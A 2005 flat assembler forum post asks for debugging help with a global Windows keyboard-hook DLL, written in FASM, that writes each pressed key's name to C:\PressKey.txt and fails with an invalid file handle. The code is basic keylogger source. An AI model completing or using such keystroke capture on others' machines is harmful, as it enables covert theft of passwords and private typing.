flat assembler
Message board for the users of flat assembler.
Index
> Windows > Trouble in keyboard grabber`s KeyboardProc procedure |
Author |
|
jentos 01 Jun 2005, 13:24
Hi!
I try to write keyboard grabber, but in DLL in KeyboardProc when I write name of pressed key in file I got error - "Invalid handle", in other word function "WriteFile" in KeyboardProc procedure don`t get correct handle of earlier created file (as I think :) ). But, strangest thing :), when I look on this values on debugger, the value returned CreateFile the same as value sent as a handle of file in WriteFile! Code: include '%include%\win32axdll.inc' section '.data' data readable writeable shareable hInstance dd ? hFile dd ? bsave dd ? hHook dd ? ;------------------------------------------------------- ;------------------------------------------------------- section '.code' code readable executable shareable ;------------------------------------------------------- ;------------------------------------------------------- start: proc DllEntryPoint,hinstDLL,fdwReason,lpvReserved enter push [hinstDLL] pop [hInstance] mov eax,TRUE return ;------------------------------------------------------- ; VOID InstallHook(DWORD hwnd); proc InstalMyHook,hwnd ; Create file for write pressed keys & SetKbdHook enter invoke CreateFile,"C:\PressKey.txt",GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,0,OPEN_ALWAYS,0,0 cmp eax,-1 jz error mov [hFile],eax invoke SetWindowsHookEx,WH_KEYBOARD,KeyboardProc,[hInstance],0 or eax,eax jz error mov [hHook],eax return ;------------------------------------------------------- ; VOID KeyboardProc(DWORD nCode, DWORD wParam, DWORD lParam); proc KeyboardProc, nCode, wParam, lParam KeyName rb 20 KeyLen dd ? enter pusha invoke CallNextHookEx,[hHook],[nCode],[wParam],[lParam] cmp [nCode],HC_ACTION jnz KeyboardProcExit mov eax,[lParam] shr eax,16 and eax,KF_UP jnz KeyboardProcExit lea eax,[KeyName] invoke GetKeyNameText,[lParam],eax,20 or eax,eax jz KeyboardProcExit mov [KeyLen],eax call [GetForegroundWindow] ; You can see name lea ebx,[KeyName] ; of pressed key in invoke SetWindowText,eax,ebx ; title bar foreground window invoke WriteFile,[hFile],ebx,[KeyLen],bsave,0 or eax,eax jz error ;And "appears" error - "Invalid handle" ;I suppose for CallNextHookEx hHook must be invalid too. popa xor eax,eax ; NULL for pass message to target window return KeyboardProcExit: popa xor eax,eax ; NULL for pass message to target window return ;------------------------------------------------------- ; VOID UninstallHook(); proc UninstalMyHook ; Uninstall kbd hook & close file enter ; in this section all work properly invoke UnhookWindowsHookEx,[hHook] or eax,eax jz error invoke CloseHandle,[hFile] or eax,eax jz error return ;------------------------------------------------------- ;------------------------------------------------------- ;------------------------------------------------------- error: ; invoke MessageBox,0,"Error",0,0 ;- if Windows other 95/98 you maybe can`t see system message about int 3. call [GetLastError] int 3 .end start ;------------------------------------------------------- ;------------------------------------------------------- ;------------------------------------------------------- section '.edata' export data readable ; functions have to be sorted alphabetically export 'MyDll.DLL',\ InstalMyHook,'InstalMyHook',\ KeyboardProc,'KeyboardProc',\ UninstalMyHook ,'UninstalMyHook' section '.reloc' fixups data discardable
|
|||||||||||
01 Jun 2005, 13:24 |
|
< Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.